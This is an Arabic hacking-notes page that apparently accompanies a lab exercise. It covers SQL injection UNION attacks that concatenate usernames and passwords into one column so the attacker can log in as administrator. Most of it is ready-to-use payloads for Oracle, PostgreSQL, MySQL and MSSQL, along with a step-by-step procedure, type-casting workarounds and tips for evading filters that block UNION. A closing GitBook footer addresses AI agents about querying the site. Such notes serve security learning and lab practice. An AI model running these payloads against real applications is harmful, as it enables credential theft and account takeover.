> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# هجوم UNION لاستخراج عدة قيم في عمود واحد

### هجوم SQL Injection UNION، استرجاع عدة قيم في عمود واحد

**الهدف:** استرجاع `اسم المستخدم` و `كلمة المرور` مُجمَّعة في عمود واحد ثم المصادقة في `administrator`.

#### (1) المتطلبات السريعة

* اعرف **عدد الأعمدة** التي تُرجِعها الاستعلام (انظر `ORDER BY` / `UNION NULL` ).
* حدِّد أي عمود/أعمدة إخراج تُرجَع في الاستجابة (ثوابت مرئية).

#### 2) أمثلة على الحمولة (بحسب نظام إدارة قاعدة البيانات)

> اضبط عدد الأعمدة (`NULL`/ثابت) ليتطابق مع الاستعلام الضعيف.

* **Oracle / PostgreSQL (الدمج بواسطة `||`) — طلب نموذجي بعمودين:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - عمودان:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT أو +) - عمودان:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

أو

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **إذا كان الطلب الأصلي يحتوي على 3 أعمدة (مثلاً):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **إذا كانت الأنواع غير متوافقة** (خطأ UNION): فرض التحويل/التحويل الصريح:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) الإجراء المختصر

1. حدِّد `N` عمودًا (`ORDER BY 1..N`).
2. تأكَّد من `UNION SELECT` بـ `NULL`/ثوابت.
3. أدرج حمولة الدمج المعدَّلة وفقًا لنظام إدارة قاعدة البيانات وعدد الأعمدة.
4. اعثر على `اسم المستخدم:كلمة المرور` الأسطر في الاستجابة.
5. حدِّد `administrator:...` الإدخال واستخدم هذه البيانات لتسجيل الدخول إلى صفحة المصادقة.

#### 4) ملاحظات عملية

* إذا كانت كلمات المرور مُجزَّأة (مثل bcrypt)، فسيؤدي استخدامها مباشرةً لتسجيل الدخول إلى الفشل؛ عندها ستحتاج إلى كسر كلمة المرور إذا كان ذلك مسموحًا، أو التأكد من أن كلمات المرور مخزنة كنص صريح (حادثة أمنية خطيرة).
* إذا كان التطبيق يعرض عمودًا واحدًا فقط، فالدمج هو النهج الصحيح؛ أما إذا كان يعرض عدة أعمدة، ففضّل `UNION SELECT username, password` للإيضاح.
* إذا `UNION` إذا كان مُرشَّحًا، فجرّب تنويعات في المسافات/التعليقات أو الدوال (`CONCAT`, `CHR`/`CHAR`) لتجاوز المرشحات.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
